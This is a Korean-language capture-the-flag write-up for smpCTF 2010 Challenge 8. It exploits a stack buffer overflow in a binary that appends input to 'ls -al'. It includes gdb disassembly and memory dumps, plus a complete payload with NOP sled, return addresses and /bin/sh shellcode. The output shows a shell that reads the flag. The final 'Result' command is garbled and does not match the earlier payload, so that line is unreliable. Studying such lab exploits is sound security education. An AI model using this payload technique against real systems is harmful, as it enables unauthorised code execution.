/*============================================
* Writes up For Challenge 8 smpCTF
* Author : haginara(jonghak Choi)
* Type : Buffer overflow
* Data : Jul 12, 2010
*===========================================*/
문제는 argument를 주었을 때 ls -al 에 이어 붙여서 실행을 하게 되어 있습니다.
예를 들면
./challenge8_bin * 이라고 입력하면
-rwxr-xr-x 1 root root 7219 7월 9 23:40 challenge8_bin
다음과 같은 결과를 보여줍니다.
처음에는 ls 명령어를 만들어서 다른 행위를 하게끔 할려고 시도하였으나
그건 아니였다. 그 후 overflow에 대해 공격을 시도해보았습니다.
Focus
1. strncat을 이용해 sfp(saved frame pointer)를 조작할 수 있습니다.
2. command[strlen(command)] = 0; 때문에 길이 조절을 잘 해야 합니다.
3. main()의 프롤로그에서 ebp의 변조를 보호하고 있기 때문에 이를 우회하여야 합니다.
— Disassemble the Function——————————————————-
(gdb) disas main
Dump of assembler code for function main:
0×08048521 <main+0>: lea 0×4(%esp),%ecx
0×08048525 <main+4>: and $0xfffffff0,%esp
0×08048528 <main+7>: pushl 0xfffffffc(%ecx)
0x0804852b <main+10>: push %ebp
0x0804852c <main+11>: mov %esp,%ebp
0x0804852e <main+13>: push %ecx
0x0804852f <main+14>: sub $0×14,%esp
0×08048532 <main+17>: mov %ecx,0xfffffff4(%ebp)
0×08048535 <main+20>: mov 0xfffffff4(%ebp),%eax
0×08048538 <main+23>: cmpl $0×1,(%eax)
0x0804853b <main+26>: jg 0x804855f <main+62>
0x0804853d <main+28>: mov 0xfffffff4(%ebp),%edx
0×08048540 <main+31>: mov 0×4(%edx),%eax
0×08048543 <main+34>: mov (%eax),%eax
0×08048545 <main+36>: sub $0×8,%esp
0×08048548 <main+39>: push %eax
0×08048549 <main+40>: push $0x804865c
0x0804854e <main+45>: call 0x80483b4 <__gmon_start__@plt+96>
0×08048553 <main+50>: add $0×10,%esp
0×08048556 <main+53>: movl $0×0,0xfffffff8(%ebp)
0x0804855d <main+60>: jmp 0x804857d <main+92>
0x0804855f <main+62>: mov 0xfffffff4(%ebp),%edx
0×08048562 <main+65>: mov 0×4(%edx),%eax
0×08048565 <main+68>: add $0×4,%eax
0×08048568 <main+71>: mov (%eax),%eax
0x0804856a <main+73>: sub $0xc,%esp
0x0804856d <main+76>: push %eax
0x0804856e <main+77>: call 0×8048494 <callme>
0×08048573 <main+82>: add $0×10,%esp
0×08048576 <main+85>: movl $0×0,0xfffffff8(%ebp)
0x0804857d <main+92>: mov 0xfffffff8(%ebp),%eax
0×08048580 <main+95>: mov 0xfffffffc(%ebp),%ecx
0×08048583 <main+98>: leave
0×08048584 <main+99>: lea 0xfffffffc(%ecx),%esp
0×08048587 <main+102>: ret
Dump of assembler code for function callme:
0×08048494 <callme+0>: push %ebp
0×08048495 <callme+1>: mov %esp,%ebp
0×08048497 <callme+3>: sub $0×118,%esp
0x0804849d <callme+9>: sub $0×4,%esp
0x080484a0 <callme+12>: push $0×103
0x080484a5 <callme+17>: push $0×8048650
0x080484aa <callme+22>: lea 0xfffffefc(%ebp),%eax
0x080484b0 <callme+28>: push %eax
0x080484b1 <callme+29>: call 0×8048374 <__gmon_start__@plt+32>
0x080484b6 <callme+34>: add $0×10,%esp
0x080484b9 <callme+37>: sub $0×4,%esp
0x080484bc <callme+40>: push $0×103
0x080484c1 <callme+45>: pushl 0×8(%ebp)
0x080484c4 <callme+48>: lea 0xfffffefc(%ebp),%eax
0x080484ca <callme+54>: push %eax
0x080484cb <callme+55>: call 0x80483c4 <__gmon_start__@plt+112>
0x080484d0 <callme+60>: add $0×10,%esp
0x080484d3 <callme+63>: lea 0xfffffefc(%ebp),%eax
0x080484d9 <callme+69>: mov (%eax),%al
0x080484db <callme+71>: test %al,%al
0x080484dd <callme+73>: je 0x80484f9 <callme+101>
0x080484df <callme+75>: sub $0xc,%esp
0x080484e2 <callme+78>: lea 0xfffffefc(%ebp),%eax
0x080484e8 <callme+84>: push %eax
0x080484e9 <callme+85>: call 0x80483a4 <__gmon_start__@plt+80>
0x080484ee <callme+90>: add $0×10,%esp
0x080484f1 <callme+93>: movb $0×0,0xfffffefc(%ebp,%eax,1)
0x080484f9 <callme+101>: sub $0xc,%esp
0x080484fc <callme+104>: lea 0xfffffefc(%ebp),%eax
0×08048502 <callme+110>: push %eax
0×08048503 <callme+111>: call 0×8048364 <__gmon_start__@plt+16>
0×08048508 <callme+116>: add $0×10,%esp
0x0804850b <callme+119>: test %eax,%eax
0x0804850d <callme+121>: jns 0x804851f <callme+139>
0x0804850f <callme+123>: sub $0xc,%esp
0×08048512 <callme+126>: push $0×8048658
0×08048517 <callme+131>: call 0×8048394 <__gmon_start__@plt+64>
0x0804851c <callme+136>: add $0×10,%esp
0x0804851f <callme+139>: leave
0×08048520 <callme+140>: ret
End of assembler dump.
——————————————————————————————————————-
Attack
1. sfp 덮어쓰기
strncpy(command, "ls -al ", 259);
strncat(command, src, 259);
266 = 7+259 (byte)의 공간을 이용할수 있으며 버퍼는 260 byte 만큼 할당되어있습니다. 즉,
우리는 6byte의 여유공간을 얻을 수 있습니다.
다행히도 buffer와 sfp 사이에 dummy가 존재 하지 않기 때문에 sfp를 덮어 씌울수 있는
공간은 확보하였습니다.
Payload
[ls -al ][dummy][sfp]
2. 메모리 주소 맞추기 : 0xXXXXXX00
command[strlen(command)] = 0;
위 명령 때문에 264byte를 이용해 sfp를 채우면 ret 주소 한 바이트가 0으로 덮어 씌워지게 됩니다.
그래서 우리는 sfp의 주소 마지막 바이트가 0 인 주소에 원하는 값(shellcode)를 놔두기로 했습니다.
수정된 Payload
[ls -al ][dummy][sfp(has 0)]
3.
main()의 프롤로그에서 ebp의 변조를 보호하고 있기 때문에 이를 우회하여야 합니다.
—Prologue—————————————————————
0×08048521 <main+0>: lea 0×4(%esp),%ecx
0×08048525 <main+4>: and $0xfffffff0,%esp
0×08048528 <main+7>: pushl -0×4(%ecx)
0x0804852b <main+10>: push %ebp
0x0804852c <main+11>: mov %esp,%ebp
0x0804852e <main+13>: push %ecx
——————————————————————————
—Epilogue————————————————————–
0×08048576 <main+85>: movl $0×0,-0×8(%ebp)
0x0804857d <main+92>: mov -0×8(%ebp),%eax
0×08048580 <main+95>: mov -0×4(%ebp),%ecx
0×08048583 <main+98>: leave
0×08048584 <main+99>: lea -0×4(%ecx),%esp
0×08048587 <main+102>: ret
——————————————————————————
에필로그를 보면 eip의 값을 보호 하기 위하여 -0×4(%ecx) 에서 값을 가져와 esp에 넣는 것을 알수 있다.
Starting program: /usr/smp/challenge8/challenge8_bin `python -c "print '\x90'*177+'\x04\xf3\xff\xbf'+'\x04\xf3\xff\xbf'+'\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31
\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'+'a'*23+'\x00'+'\xff\xf3\xff\xbf'"`
Breakpoint 2, 0×08048502 in callme ()
(gdb) x/32x $esp
0xbffff224: 0xbffff584 0×00000103 0xbffff248 0xf63d4e2e
0xbffff234: 0xb7fd1000 0x07b1ea71 0×00000003 0xb7e74cfc
0xbffff244: 0x2d20736c 0x90206c61 0×90909090 0×90909090
0xbffff254: 0×90909090 0×90909090 0×90909090 0×90909090
0xbffff264: 0×90909090 0×90909090 0×90909090 0×90909090
0xbffff274: 0×90909090 0×90909090 0×90909090 0×90909090
0xbffff284: 0×90909090 0×90909090 0×90909090 0×90909090
0xbffff294: 0×90909090 0×90909090 0×90909090 0×90909090
(gdb)
0xbffff2a4: 0×90909090 0×90909090 0×90909090 0×90909090
0xbffff2b4: 0×90909090 0×90909090 0×90909090 0×90909090
0xbffff2c4: 0×90909090 0×90909090 0×90909090 0×90909090
0xbffff2d4: 0×90909090 0×90909090 0×90909090 0×90909090
0xbffff2e4: 0×90909090 0×90909090 0×90909090 0×90909090
0xbffff2f4: 0×90909090 0×90909090 0xbffff304 0xbffff304
0xbffff304: 0x31b0c031 0xc18980cd 0xc031c389 0x80cd46b0
0xbffff314: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e
(gdb)
0xbffff324: 0x31e18953 0xcd0bb0d2 0×61616180 0×61616161
0xbffff334: 0×61616161 0×61616161 0×61616161 0×61616161
0xbffff344: 0xbffff3ff 0xbffff300 0×08048573 0xbffff584
0xbffff354: 0x0804975c 0xbffff368 0×08048340 0xff0a0000
0xbffff364: 0x0804975c 0xbffff388 0xbffff390 0xb7fefec0
0xbffff374: 0xbffff390 0xbffff3e8 0xb7e876a5 0x080485a0
0xbffff384: 0x080483e0 0xbffff3e8 0xb7e876a5 0×00000002
0xbffff394: 0xbffff414 0xbffff420 0xb7fd12d8 0×00000001
Result
./challenge8_bin `python -c "print '\x90'*177+'\x04\xf3\xff\xbf'+'\x04\xf3\xf3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69
\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0f'"`d\x80'+'a'*23+'\x00'+'\xff\xf3\xff\xb
ls: cannot access
?aaaaaaaaaaaaaaaaaaaaaaa?? No such file or directory
sh-3.1$ id
uid=1010(challenge8) gid=102(smpctf) groups=102(smpctf),103(levels)
sh-3.1$ ls
README challenge8_bin
sh-3.1$ cat .smpFLAG
Challenge Key: 1b8e2684
Flag: WHENuGETthisFLAGpmBLAin#IOandTALKsomeSHIT
sh-3.1$
이 글은 스프링노트에서 작성되었습니다.